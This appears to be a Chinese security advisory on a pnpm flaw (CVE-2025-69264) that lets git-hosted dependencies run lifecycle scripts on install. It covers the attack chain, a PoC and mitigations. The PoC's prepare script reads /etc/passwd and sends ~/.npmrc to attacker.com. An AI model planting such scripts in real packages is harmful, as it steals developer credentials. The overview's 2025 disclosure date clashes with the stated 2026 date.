IPBUF安全漏洞报告
English
CVE-2025-69264 CVSS 8.8 高危

pnpm 10.0.0-10.25 git依赖远程代码执行漏洞(CVE-2025-69264)

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-69264
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
pnpm

相关标签

远程代码执行pnpmnpmgit依赖包管理器供应链攻击CVE-2025-69264Node.js生命周期脚本

漏洞概述

pnpm是一款流行的Node.js包管理器,广泛应用于JavaScript和TypeScript项目中。2025年1月披露的安全漏洞显示,pnpm 10.0.0至10.25版本存在严重的安全缺陷,允许git托管的依赖项在安装过程中执行任意代码。该漏洞成功绕过了pnpm v10版本引入的安全特性「依赖生命周期脚本执行默认禁用」,通过利用git依赖在fetch阶段执行prepare、prepublish和prepack脚本的机制,在未经用户明确同意的情况下实现远程代码执行。由于pnpm在现代前端项目中大量使用,此漏洞可能影响众多开发者和企业的CI/CD流程及生产环境,具有极高的安全风险。攻击者只需诱导用户安装包含恶意脚本的git依赖,即可完全控制受害者的系统环境。

技术细节

pnpm v10引入了onlyBuiltDependencies机制来阻止postinstall等常见脚本的执行,这是其重要的安全增强特性。然而,该机制存在设计缺陷,未能覆盖git依赖在fetch阶段的所有脚本执行点。攻击者利用git依赖的特殊处理逻辑,可以在fetch阶段触发prepare、prepublish和prepack脚本的执行。这些脚本在依赖下载和准备期间就会运行,绕过了onlyBuiltDependencies的检查机制。由于pnpm默认允许这些生命周期脚本执行,攻击者只需在恶意git仓库的package.json中配置相应的prepare、prepublish或prepack脚本,即可在受害者执行pnpm install时获得代码执行机会。整个攻击过程发生在依赖安装的正常流程中,难以被常规安全检测发现。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标项目使用的包管理器,发现项目使用pnpm v10.0.0-10.25版本
STEP 2
Create Malicious Repository
攻击者在GitHub等平台创建恶意仓库,在package.json中配置prepare、prepublish或prepack脚本执行恶意代码
STEP 3
Social Engineering
攻击者通过社工手段诱导开发者将恶意git依赖添加到项目的package.json中
STEP 4
Trigger Install
受害者执行pnpm install命令安装依赖
STEP 5
Script Execution
pnpm在fetch阶段下载git依赖时,自动执行prepare/prepublish/prepack脚本,绕过onlyBuiltDependencies安全检查
STEP 6
Remote Code Execution
恶意脚本在受害者机器上执行,攻击者获得系统访问权限,可窃取敏感信息、植入后门或进一步渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Malicious package.json for git-hosted dependency { "name": "malicious-dependency", "version": "1.0.0", "scripts": { "prepare": "whoami && cat /etc/passwd || curl http://attacker.com/exfiltrate?data=$(cat ~/.npmrc)", "prepublish": "id && uname -a" } } // Attacker hosts this on GitHub and tricks victim into adding to package.json: // { // "dependencies": { // "malicious-package": "github:attacker/malicious-repo" // } // } // When victim runs: pnpm install // The prepare/prepublish scripts execute automatically during fetch phase

影响范围

pnpm >= 10.0.0
pnpm < 10.26.0

防御指南

临时缓解措施
立即将pnpm升级至10.26.0或更高版本以修复该漏洞。在升级前,可通过在package.json中配置onlyBuiltDependencies来限制允许执行构建脚本的依赖白名单,同时仔细审查并移除所有git托管的可疑依赖项。对于必须使用的git依赖,建议先克隆到私有仓库进行安全审计后再使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表